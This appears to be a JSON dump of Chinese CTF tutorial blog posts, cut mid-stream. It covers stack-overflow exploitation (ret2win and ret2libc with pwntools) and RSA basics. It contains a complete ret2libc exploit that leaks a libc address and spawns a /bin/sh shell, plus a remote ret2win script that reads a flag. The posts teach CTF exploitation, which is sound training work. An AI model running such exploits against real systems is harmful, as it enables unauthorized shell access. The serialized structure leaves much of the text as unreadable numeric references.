里存放 puts 真实地址的内存位置。\n",[29,9389,9390],{"class":31,"line":4037},[29,9391,9392],{},"payload1 += p64(elf.plt['puts'])\n",[29,9394,9395],{"class":31,"line":4043},[29,9396,9397],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[29,9399,9400],{"class":31,"line":4049},[29,9401,9402],{},"payload1 += p64(elf.symbols['main'])\n",[29,9404,9405],{"class":31,"line":4813},[29,9406,9407],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[29,9409,9410],{"class":31,"line":4818},[29,9411,101],{"emptyLinePlaceholder":100},[29,9413,9414],{"class":31,"line":4824},[29,9415,3027],{},[29,9417,9418],{"class":31,"line":4830},[29,9419,9420],{},"p.sendline(payload1)\n",[29,9422,9423],{"class":31,"line":4835},[29,9424,101],{"emptyLinePlaceholder":100},[29,9426,9427],{"class":31,"line":4841},[29,9428,9429],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[29,9431,9432],{"class":31,"line":4847},[29,9433,9434],{},"# recvline()：读一行（puts 输出后带换行）。\n",[29,9436,9437],{"class":31,"line":4853},[29,9438,9439],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[29,9441,9442],{"class":31,"line":4859},[29,9443,9444],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[29,9446,9447],{"class":31,"line":4864},[29,9448,9449],{},"print(\"puts:\", hex(leak))\n",[29,9451,9452],{"class":31,"line":4870},[29,9453,101],{"emptyLinePlaceholder":100},[29,9455,9456],{"class":31,"line":4876},[29,9457,9458],{},"libc.address = leak - libc.symbols['puts']\n",[29,9460,9461],{"class":31,"line":4882},[29,9462,9463],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[29,9465,9466],{"class":31,"line":4888},[29,9467,9468],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[29,9470,9472],{"class":31,"line":9471},39,[29,9473,9474],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[29,9476,9478],{"class":31,"line":9477},40,[29,9479,9480],{},"print(\"libc base:\", hex(libc.address))\n",[29,9482,9484],{"class":31,"line":9483},41,[29,9485,101],{"emptyLinePlaceholder":100},[29,9487,9489],{"class":31,"line":9488},42,[29,9490,9491],{},"# 第二阶段：system(\"/bin/sh\")\n",[29,9493,9495],{"class":31,"line":9494},43,[29,9496,9497],{},"payload2 = b'A' * offset\n",[29,9499,9501],{"class":31,"line":9500},44,[29,9502,9503],{},"payload2 += p64(ret)\n",[29,9505,9507],{"class":31,"line":9506},45,[29,9508,9509],{},"payload2 += p64(pop_rdi)\n",[29,9511,9513],{"class":31,"line":9512},46,[29,9514,9515],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[29,9517,9519],{"class":31,"line":9518},47,[29,9520,9521],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[29,9523,9525],{"class":31,"line":9524},48,[29,9526,9527],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[29,9529,9531],{"class":31,"line":9530},49,[29,9532,9533],{},"payload2 += p64(libc.symbols['system'])\n",[29,9535,9537],{"class":31,"line":9536},50,[29,9538,9539],{},"# 调用 system(\"/bin/sh\")。\n",[29,9541,9543],{"class":31,"line":9542},51,[29,9544,101],{"emptyLinePlaceholder":100},[29,9546,9548],{"class":31,"line":9547},52,[29,9549,9550],{},"p.sendlineafter(b'name?', payload2)\n",[29,9552,9554],{"class":31,"line":9553},53,[29,9555,9556],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[29,9558,9560],{"class":31,"line":9559},54,[29,9561,907],{},[15,9563,9564],{},"运行输出：",[19,9566,9569],{"className":9567,"code":9568,"language":211,"meta":24},[209],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[26,9570,9568],{"__ignoreMap":24},[1268,9572,9574],{"id":9573},"_83-三个易错点","8.3 三个易错点",[623,9576,9577,9596,9611],{},[61,9578,9579,85,9582,9584,9585,9588,9589,9592,9593,389],{},[187,9580,9581],{},"补零",[26,9583,693],{}," 输出的地址以换行结尾，",[26,9586,9587],{},"strip()"," 去掉换行，",[26,9590,9591],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[26,9594,9595],{},"u64",[61,9597,9598,85,9601,9604,9605,9608,9609,389],{},[187,9599,9600],{},"对齐",[26,9602,9603],{},"system"," 内部使用 ",[26,9606,9607],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[26,9610,8715],{},[61,9612,9613,9616,9617,9620],{},[187,9614,9615],{},"libc 版本","：远程题目若提供 libc，用 ",[26,9618,9619],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[10,9622,9624],{"id":9623},"九必学工具","九、必学工具",[455,9626,9627,9637],{},[458,9628,9629],{},[461,9630,9631,9633,9635],{},[464,9632,967],{},[464,9634,970],{},[464,9636,973],{},[471,9638,9639,9657,9669],{},[461,9640,9641,9643,9655],{},[476,9642,980],{},[476,9644,9645,933,9647,65,9649,933,9651,3119,9653],{},[26,9646,3109],{},[26,9648,2767],{},[26,9650,3115],{},[26,9652,2979],{},[26,9654,990],{},[476,9656,996],{},[461,9658,9659,9661,9664],{},[476,9660,9203],{},[476,9662,9663],{},"搜索 gadget、指定寄存器、输出地址",[476,9665,9666],{},[26,9667,9668],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[461,9670,9671,9673,9676],{},[476,9672,1014],{},[476,9674,9675],{},"断点、看栈、查看崩溃点",[476,9677,9678,933,9680,933,9682],{},[26,9679,3149],{},[26,9681,1025],{},[26,9683,9684],{},"bt",[10,9686,9688],{"id":9687},"十小-ctf-实战","十、小 CTF 实战",[15,9690,2229,9691,9693,9694,9696,9697,9699],{},[26,9692,3163],{}," 运行 ",[26,9695,2754],{},"（No canary、No PIE，有 ",[26,9698,697],{},"）。",[19,9701,9703],{"className":311,"code":9702,"language":313,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[26,9704,9705,9709,9713,9717,9721,9725,9729,9733,9737],{"__ignoreMap":24},[29,9706,9707],{"class":31,"line":32},[29,9708,320],{},[29,9710,9711],{"class":31,"line":38},[29,9712,101],{"emptyLinePlaceholder":100},[29,9714,9715],{"class":31,"line":104},[29,9716,2867],{},[29,9718,9719],{"class":31,"line":110},[29,9720,2920],{},[29,9722,9723],{"class":31,"line":116},[29,9724,101],{"emptyLinePlaceholder":100},[29,9726,9727],{"class":31,"line":122},[29,9728,3042],{},[29,9730,9731],{"class":31,"line":128},[29,9732,534],{},[29,9734,9735],{"class":31,"line":134},[29,9736,1085],{},[29,9738,9739],{"class":31,"line":140},[29,9740,907],{},[15,9742,385],{},[19,9744,9746],{"className":9745,"code":3265,"language":211,"meta":24},[209],[26,9747,3265],{"__ignoreMap":24},[10,9749,9751],{"id":9750},"十一小结","十一、小结",[15,9753,9754,9755,9757,9758,9760],{},"栈溢出主线：",[26,9756,1001],{}," 判断防护 → ",[26,9759,2767],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1114,9762,9763],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":24,"searchDepth":38,"depth":38,"links":9765},[9766,9767,9768,9769,9770,9771,9772,9773,9774,9775,9776],{"id":8700,"depth":104,"text":8701},{"id":1213,"depth":104,"text":1214},{"id":2516,"depth":104,"text":2517},{"id":8880,"depth":104,"text":8881},{"id":2748,"depth":104,"text":2749},{"id":9076,"depth":104,"text":9077},{"id":9183,"depth":104,"text":9184},{"id":9249,"depth":104,"text":9250},{"id":9623,"depth":104,"text":9624},{"id":9687,"depth":104,"text":9688},{"id":9750,"depth":104,"text":9751},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":1132,"image":9779,"alt":9780,"tags":9781,"published":100},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[1136,814,9782,1138],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":8695,"description":9777},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":4,"title":5,"body":9788,"description":1129,"extension":1130,"meta":10610,"navigation":100,"ogImage":1133,"path":1139,"seo":10612,"stem":1141,"__hash__":1142},{"type":7,"value":9789,"toc":10598},[9790,9792,9794,9806,9814,9826,9828,9832,9876,9894,9896,9900,9902,9910,9912,9917,9919,9924,9930,9936,9938,9942,9952,9954,9956,9964,9966,9971,9973,9978,9984,10040,10044,10062,10064,10068,10076,10082,10126,10170,10172,10180,10182,10184,10188,10198,10202,10207,10209,10219,10221,10257,10259,10267,10273,10277,10345,10373,10375,10443,10447,10467,10473,10475,10527,10529,10533,10539,10579,10581,10586,10588,10596],[10,9791,13],{"id":12},[15,9793,17],{},[19,9795,9796],{"className":21,"code":22,"language":23,"meta":24,"style":24},[26,9797,9798,9802],{"__ignoreMap":24},[29,9799,9800],{"class":31,"line":32},[29,9801,35],{},[29,9803,9804],{"class":31,"line":38},[29,9805,41],{},[15,9807,44,9808,48,9810,52,9812,56],{},[26,9809,47],{},[26,9811,51],{},[26,9813,55],{},[58,9815,9816,9822],{},[61,9817,9818,65,9820,69],{},[26,9819,51],{},[26,9821,68],{},[61,9823,9824,75],{},[26,9825,74],{},[10,9827,79],{"id":78},[15,9829,9830,85],{},[26,9831,84],{},[19,9833,9834],{"className":21,"code":88,"language":23,"meta":24,"style":24},[26,9835,9836,9840,9844,9848,9852,9856,9860,9864,9868,9872],{"__ignoreMap":24},[29,9837,9838],{"class":31,"line":32},[29,9839,95],{},[29,9841,9842],{"class":31,"line":38},[29,9843,101],{"emptyLinePlaceholder":100},[29,9845,9846],{"class":31,"line":104},[29,9847,107],{},[29,9849,9850],{"class":31,"line":110},[29,9851,113],{},[29,9853,9854],{"class":31,"line":116},[29,9855,119],{},[29,9857,9858],{"class":31,"line":122},[29,9859,125],{},[29,9861,9862],{"class":31,"line":128},[29,9863,131],{},[29,9865,9866],{"class":31,"line":134},[29,9867,137],{},[29,9869,9870],{"class":31,"line":140},[29,9871,143],{},[29,9873,9874],{"class":31,"line":146},[29,9875,149],{},[19,9877,9878],{"className":152,"code":153,"language":154,"meta":24,"style":24},[26,9879,9880],{"__ignoreMap":24},[29,9881,9882,9884,9886,9888,9890,9892],{"class":31,"line":32},[29,9883,162],{"class":161},[29,9885,166],{"class":165},[29,9887,170],{"class":169},[29,9889,173],{"class":169},[29,9891,176],{"class":165},[29,9893,179],{"class":165},[10,9895,183],{"id":182},[15,9897,9898,190],{},[187,9899,189],{},[15,9901,193],{},[19,9903,9904],{"className":152,"code":196,"language":154,"meta":24,"style":24},[26,9905,9906],{"__ignoreMap":24},[29,9907,9908],{"class":31,"line":32},[29,9909,196],{"class":161},[15,9911,205],{},[19,9913,9915],{"className":9914,"code":210,"language":211,"meta":24},[209],[26,9916,210],{"__ignoreMap":24},[15,9918,216],{},[19,9920,9922],{"className":9921,"code":220,"language":211,"meta":24},[209],[26,9923,220],{"__ignoreMap":24},[15,9925,225,9926,229,9928,233],{},[26,9927,228],{},[26,9929,232],{},[15,9931,9932,85,9934,241],{},[187,9933,238],{},[26,9935,55],{},[10,9937,245],{"id":244},[15,9939,9940,250],{},[187,9941,189],{},[15,9943,9944,256,9946,260,9948,264,9950,268],{},[187,9945,255],{},[26,9947,259],{},[26,9949,263],{},[26,9951,267],{},[15,9953,271],{},[15,9955,193],{},[19,9957,9958],{"className":152,"code":196,"language":154,"meta":24,"style":24},[26,9959,9960],{"__ignoreMap":24},[29,9961,9962],{"class":31,"line":32},[29,9963,196],{"class":161},[15,9965,205],{},[19,9967,9969],{"className":9968,"code":287,"language":211,"meta":24},[209],[26,9970,287],{"__ignoreMap":24},[15,9972,292],{},[19,9974,9976],{"className":9975,"code":296,"language":211,"meta":24},[209],[26,9977,296],{"__ignoreMap":24},[15,9979,301,9980,304,9982,308],{},[26,9981,267],{},[26,9983,307],{},[19,9985,9986],{"className":311,"code":312,"language":313,"meta":24,"style":24},[26,9987,9988,9992,9996,10000,10004,10008,10012,10016,10020,10024,10028,10032,10036],{"__ignoreMap":24},[29,9989,9990],{"class":31,"line":32},[29,9991,320],{},[29,9993,9994],{"class":31,"line":38},[29,9995,101],{"emptyLinePlaceholder":100},[29,9997,9998],{"class":31,"line":104},[29,9999,329],{},[29,10001,10002],{"class":31,"line":110},[29,10003,334],{},[29,10005,10006],{"class":31,"line":116},[29,10007,339],{},[29,10009,10010],{"class":31,"line":122},[29,10011,344],{},[29,10013,10014],{"class":31,"line":128},[29,10015,349],{},[29,10017,10018],{"class":31,"line":134},[29,10019,354],{},[29,10021,10022],{"class":31,"line":140},[29,10023,359],{},[29,10025,10026],{"class":31,"line":146},[29,10027,364],{},[29,10029,10030],{"class":31,"line":367},[29,10031,370],{},[29,10033,10034],{"class":31,"line":373},[29,10035,376],{},[29,10037,10038],{"class":31,"line":379},[29,10039,382],{},[15,10041,385,10042,389],{},[26,10043,388],{},[15,10045,392,10046,396,10048,399,10050,403,10052,407,10054,411,10056,407,10058,418,10060,422],{},[26,10047,395],{},[26,10049,55],{},[26,10051,402],{},[26,10053,406],{},[26,10055,410],{},[26,10057,414],{},[26,10059,417],{},[26,10061,421],{},[10,10063,426],{"id":425},[15,10065,10066,431],{},[187,10067,189],{},[15,10069,10070,436,10072,440,10074,444],{},[187,10071,255],{},[26,10073,439],{},[26,10075,443],{},[15,10077,447,10078,407,10080,453],{},[26,10079,421],{},[26,10081,452],{},[455,10083,10084,10092],{},[458,10085,10086],{},[461,10087,10088,10090],{},[464,10089,466],{},[464,10091,469],{},[471,10093,10094,10102,10110,10118],{},[461,10095,10096,10100],{},[476,10097,478,10098,481],{},[26,10099,439],{},[476,10101,484],{},[461,10103,10104,10108],{},[476,10105,10106,492],{},[26,10107,491],{},[476,10109,495],{},[461,10111,10112,10116],{},[476,10113,10114,492],{},[26,10115,502],{},[476,10117,505],{},[461,10119,10120,10124],{},[476,10121,10122,492],{},[26,10123,443],{},[476,10125,514],{},[19,10127,10128],{"className":311,"code":517,"language":313,"meta":24,"style":24},[26,10129,10130,10134,10138,10142,10146,10150,10154,10158,10162,10166],{"__ignoreMap":24},[29,10131,10132],{"class":31,"line":32},[29,10133,524],{},[29,10135,10136],{"class":31,"line":38},[29,10137,529],{},[29,10139,10140],{"class":31,"line":104},[29,10141,534],{},[29,10143,10144],{"class":31,"line":110},[29,10145,539],{},[29,10147,10148],{"class":31,"line":116},[29,10149,544],{},[29,10151,10152],{"class":31,"line":122},[29,10153,101],{"emptyLinePlaceholder":100},[29,10155,10156],{"class":31,"line":128},[29,10157,553],{},[29,10159,10160],{"class":31,"line":134},[29,10161,558],{},[29,10163,10164],{"class":31,"line":140},[29,10165,563],{},[29,10167,10168],{"class":31,"line":146},[29,10169,568],{},[15,10171,571],{},[19,10173,10174],{"className":311,"code":574,"language":313,"meta":24,"style":24},[26,10175,10176],{"__ignoreMap":24},[29,10177,10178],{"class":31,"line":32},[29,10179,574],{},[15,10181,583],{},[10,10183,587],{"id":586},[15,10185,10186,592],{},[187,10187,189],{},[15,10189,10190,85,10192,599,10194,603,10196,607],{},[187,10191,255],{},[26,10193,74],{},[26,10195,602],{},[26,10197,606],{},[15,10199,10200,612],{},[26,10201,74],{},[19,10203,10205],{"className":10204,"code":616,"language":211,"meta":24},[209],[26,10206,616],{"__ignoreMap":24},[15,10208,621],{},[623,10210,10211,10215],{},[61,10212,10213,629],{},[26,10214,602],{},[61,10216,10217,635],{},[26,10218,634],{},[15,10220,638],{},[455,10222,10223,10231],{},[458,10224,10225],{},[461,10226,10227,10229],{},[464,10228,647],{},[464,10230,650],{},[471,10232,10233,10241,10249],{},[461,10234,10235,10239],{},[476,10236,10237],{},[26,10238,74],{},[476,10240,661],{},[461,10242,10243,10247],{},[476,10244,10245],{},[26,10246,668],{},[476,10248,671],{},[461,10250,10251,10255],{},[476,10252,10253],{},[26,10254,678],{},[476,10256,681],{},[10,10258,685],{"id":684},[15,10260,10261,690,10263,694,10265,698],{},[187,10262,189],{},[26,10264,693],{},[26,10266,697],{},[15,10268,10269,85,10271,706],{},[187,10270,255],{},[26,10272,705],{},[15,10274,709,10275,85],{},[26,10276,712],{},[19,10278,10279],{"className":21,"code":715,"language":23,"meta":24,"style":24},[26,10280,10281,10285,10289,10293,10297,10301,10305,10309,10313,10317,10321,10325,10329,10333,10337,10341],{"__ignoreMap":24},[29,10282,10283],{"class":31,"line":32},[29,10284,95],{},[29,10286,10287],{"class":31,"line":38},[29,10288,726],{},[29,10290,10291],{"class":31,"line":104},[29,10292,101],{"emptyLinePlaceholder":100},[29,10294,10295],{"class":31,"line":110},[29,10296,735],{},[29,10298,10299],{"class":31,"line":116},[29,10300,740],{},[29,10302,10303],{"class":31,"line":122},[29,10304,149],{},[29,10306,10307],{"class":31,"line":128},[29,10308,101],{"emptyLinePlaceholder":100},[29,10310,10311],{"class":31,"line":134},[29,10312,107],{},[29,10314,10315],{"class":31,"line":140},[29,10316,113],{},[29,10318,10319],{"class":31,"line":146},[29,10320,119],{},[29,10322,10323],{"class":31,"line":367},[29,10324,125],{},[29,10326,10327],{"class":31,"line":373},[29,10328,131],{},[29,10330,10331],{"class":31,"line":379},[29,10332,137],{},[29,10334,10335],{"class":31,"line":775},[29,10336,778],{},[29,10338,10339],{"class":31,"line":781},[29,10340,143],{},[29,10342,10343],{"class":31,"line":786},[29,10344,149],{},[19,10346,10347],{"className":152,"code":791,"language":154,"meta":24,"style":24},[26,10348,10349,10363],{"__ignoreMap":24},[29,10350,10351,10353,10355,10357,10359,10361],{"class":31,"line":32},[29,10352,162],{"class":161},[29,10354,166],{"class":165},[29,10356,802],{"class":169},[29,10358,805],{"class":169},[29,10360,176],{"class":165},[29,10362,179],{"class":165},[29,10364,10365,10367,10369,10371],{"class":31,"line":38},[29,10366,814],{"class":161},[29,10368,817],{"class":169},[29,10370,820],{"class":169},[29,10372,824],{"class":823},[15,10374,827],{},[19,10376,10377],{"className":311,"code":830,"language":313,"meta":24,"style":24},[26,10378,10379,10383,10387,10391,10395,10399,10403,10407,10411,10415,10419,10423,10427,10431,10435,10439],{"__ignoreMap":24},[29,10380,10381],{"class":31,"line":32},[29,10382,320],{},[29,10384,10385],{"class":31,"line":38},[29,10386,101],{"emptyLinePlaceholder":100},[29,10388,10389],{"class":31,"line":104},[29,10390,845],{},[29,10392,10393],{"class":31,"line":110},[29,10394,850],{},[29,10396,10397],{"class":31,"line":116},[29,10398,855],{},[29,10400,10401],{"class":31,"line":122},[29,10402,101],{"emptyLinePlaceholder":100},[29,10404,10405],{"class":31,"line":128},[29,10406,864],{},[29,10408,10409],{"class":31,"line":134},[29,10410,869],{},[29,10412,10413],{"class":31,"line":140},[29,10414,874],{},[29,10416,10417],{"class":31,"line":146},[29,10418,879],{},[29,10420,10421],{"class":31,"line":367},[29,10422,884],{},[29,10424,10425],{"class":31,"line":373},[29,10426,889],{},[29,10428,10429],{"class":31,"line":379},[29,10430,894],{},[29,10432,10433],{"class":31,"line":775},[29,10434,101],{"emptyLinePlaceholder":100},[29,10436,10437],{"class":31,"line":781},[29,10438,534],{},[29,10440,10441],{"class":31,"line":786},[29,10442,907],{},[15,10444,10445,913],{},[26,10446,912],{},[623,10448,10449,10453,10457,10463],{},[61,10450,447,10451,920],{},[26,10452,697],{},[61,10454,923,10455,927],{},[26,10456,926],{},[61,10458,930,10459,933,10461,937],{},[26,10460,705],{},[26,10462,936],{},[61,10464,940,10465,943],{},[26,10466,668],{},[15,10468,946,10469,950,10471,954],{},[26,10470,949],{},[26,10472,953],{},[10,10474,958],{"id":957},[455,10476,10477,10487],{},[458,10478,10479],{},[461,10480,10481,10483,10485],{},[464,10482,967],{},[464,10484,970],{},[464,10486,973],{},[471,10488,10489,10505,10515],{},[461,10490,10491,10493,10503],{},[476,10492,980],{},[476,10494,10495,933,10497,933,10499,65,10501],{},[26,10496,912],{},[26,10498,987],{},[26,10500,990],{},[26,10502,993],{},[476,10504,996],{},[461,10506,10507,10509,10511],{},[476,10508,1001],{},[476,10510,1004],{},[476,10512,10513],{},[26,10514,1009],{},[461,10516,10517,10519,10521],{},[476,10518,1014],{},[476,10520,1017],{},[476,10522,10523,933,10525],{},[26,10524,1022],{},[26,10526,1025],{},[10,10528,1029],{"id":1028},[15,10530,1032,10531,1036],{},[26,10532,1035],{},[15,10534,10535,1041,10537,1045],{},[187,10536,255],{},[26,10538,1044],{},[19,10540,10541],{"className":311,"code":1048,"language":313,"meta":24,"style":24},[26,10542,10543,10547,10551,10555,10559,10563,10567,10571,10575],{"__ignoreMap":24},[29,10544,10545],{"class":31,"line":32},[29,10546,320],{},[29,10548,10549],{"class":31,"line":38},[29,10550,101],{"emptyLinePlaceholder":100},[29,10552,10553],{"class":31,"line":104},[29,10554,845],{},[29,10556,10557],{"class":31,"line":110},[29,10558,1067],{},[29,10560,10561],{"class":31,"line":116},[29,10562,101],{"emptyLinePlaceholder":100},[29,10564,10565],{"class":31,"line":122},[29,10566,1076],{},[29,10568,10569],{"class":31,"line":128},[29,10570,534],{},[29,10572,10573],{"class":31,"line":134},[29,10574,1085],{},[29,10576,10577],{"class":31,"line":140},[29,10578,907],{},[15,10580,385],{},[19,10582,10584],{"className":10583,"code":1095,"language":211,"meta":24},[209],[26,10585,1095],{"__ignoreMap":24},[10,10587,1101],{"id":1100},[15,10589,1104,10590,65,10592,1109,10594,1112],{},[26,10591,51],{},[26,10593,68],{},[26,10595,74],{},[1114,10597,1116],{},{"title":24,"searchDepth":38,"depth":38,"links":10599},[10600,10601,10602,10603,10604,10605,10606,10607,10608,10609],{"id":12,"depth":104,"text":13},{"id":78,"depth":104,"text":79},{"id":182,"depth":104,"text":183},{"id":244,"depth":104,"text":245},{"id":425,"depth":104,"text":426},{"id":586,"depth":104,"text":587},{"id":684,"depth":104,"text":685},{"id":957,"depth":104,"text":958},{"id":1028,"depth":104,"text":1029},{"id":1100,"depth":104,"text":1101},{"date":1132,"image":1133,"alt":1134,"tags":10611,"published":100},[1136,814,1137,1138],{"title":5,"description":1129},{"id":10614,"title":10615,"body":10616,"description":11583,"extension":1130,"meta":11584,"navigation":100,"ogImage":8686,"path":11588,"seo":11589,"stem":11590,"__hash__":11591},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":7,"value":10617,"toc":11571},[10618,10622,10625,10628,10651,10664,10666,10682,10686,10692,10695,10710,10714,10719,10724,10813,10815,10821,10828,10832,10837,10842,10846,10865,10867,10873,10879,10883,10888,10973,10975,10981,10990,10994,11002,11031,11035,11039,11049,11055,11059,11064,11069,11076,11082,11085,11091,11095,11258,11260,11266,11270,11337,11339,11400,11409,11411,11413,11419,11422,11426,11431,11445,11447,11453,11457,11466,11516,11518,11524,11528,11560,11562,11569],[10,10619,10621],{"id":10620},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[15,10623,10624],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[15,10626,10627],{},"DH 最小实现（见密码学全景篇）：",[19,10629,10631],{"className":311,"code":10630,"language":313,"meta":24,"style":24},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[26,10632,10633,10637,10641,10646],{"__ignoreMap":24},[29,10634,10635],{"class":31,"line":32},[29,10636,3935],{},[29,10638,10639],{"class":31,"line":38},[29,10640,3950],{},[29,10642,10643],{"class":31,"line":104},[29,10644,10645],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[29,10647,10648],{"class":31,"line":110},[29,10649,10650],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[15,10652,10653,10654,10657,10658,933,10660,10663],{},"RSA 的安全基础是：已知 ",[26,10655,10656],{},"n"," 求 ",[26,10659,15],{},[26,10661,10662],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[10,10665,1214],{"id":1213},[19,10667,10668],{"className":152,"code":3523,"language":154,"meta":24,"style":24},[26,10669,10670],{"__ignoreMap":24},[29,10671,10672,10674,10676,10678,10680],{"class":31,"line":32},[29,10673,2508],{"class":161},[29,10675,1230],{"class":169},[29,10677,3534],{"class":169},[29,10679,3537],{"class":169},[29,10681,3540],{"class":169},[10,10683,10685],{"id":10684},"三核心知识rsa-公式","三、核心知识：RSA 公式",[19,10687,10690],{"className":10688,"code":10689,"language":211,"meta":24},[209],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[26,10691,10689],{"__ignoreMap":24},[15,10693,10694],{},"三个必须会用的 Python 运算：",[19,10696,10698],{"className":311,"code":10697,"language":313,"meta":24,"style":24},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[26,10699,10700,10705],{"__ignoreMap":24},[29,10701,10702],{"class":31,"line":32},[29,10703,10704],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[29,10706,10707],{"class":31,"line":38},[29,10708,10709],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[10,10711,10713],{"id":10712},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[15,10715,10716,10718],{},[187,10717,189],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[15,10720,10721,10723],{},[187,10722,255],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[19,10725,10727],{"className":311,"code":10726,"language":313,"meta":24,"style":24},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[26,10728,10729,10734,10739,10744,10749,10754,10759,10764,10768,10773,10778,10783,10788,10793,10798,10803,10808],{"__ignoreMap":24},[29,10730,10731],{"class":31,"line":32},[29,10732,10733],{},"p, q, e = 61, 53, 17\n",[29,10735,10736],{"class":31,"line":38},[29,10737,10738],{},"n = p * q\n",[29,10740,10741],{"class":31,"line":104},[29,10742,10743],{},"# n = 3233，公钥模数。\n",[29,10745,10746],{"class":31,"line":110},[29,10747,10748],{},"phi = (p - 1) * (q - 1)\n",[29,10750,10751],{"class":31,"line":116},[29,10752,10753],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[29,10755,10756],{"class":31,"line":122},[29,10757,10758],{},"d = pow(e, -1, phi)\n",[29,10760,10761],{"class":31,"line":128},[29,10762,10763],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[29,10765,10766],{"class":31,"line":134},[29,10767,101],{"emptyLinePlaceholder":100},[29,10769,10770],{"class":31,"line":140},[29,10771,10772],{},"m = 65\n",[29,10774,10775],{"class":31,"line":146},[29,10776,10777],{},"c = pow(m, e, n)\n",[29,10779,10780],{"class":31,"line":367},[29,10781,10782],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[29,10784,10785],{"class":31,"line":373},[29,10786,10787],{},"print(\"n =\", n)\n",[29,10789,10790],{"class":31,"line":379},[29,10791,10792],{},"print(\"phi =\", phi)\n",[29,10794,10795],{"class":31,"line":775},[29,10796,10797],{},"print(\"d =\", d)\n",[29,10799,10800],{"class":31,"line":781},[29,10801,10802],{},"print(\"c =\", c)\n",[29,10804,10805],{"class":31,"line":786},[29,10806,10807],{},"print(\"解密 =\", pow(c, d, n))\n",[29,10809,10810],{"class":31,"line":2600},[29,10811,10812],{},"# pow(c, d, 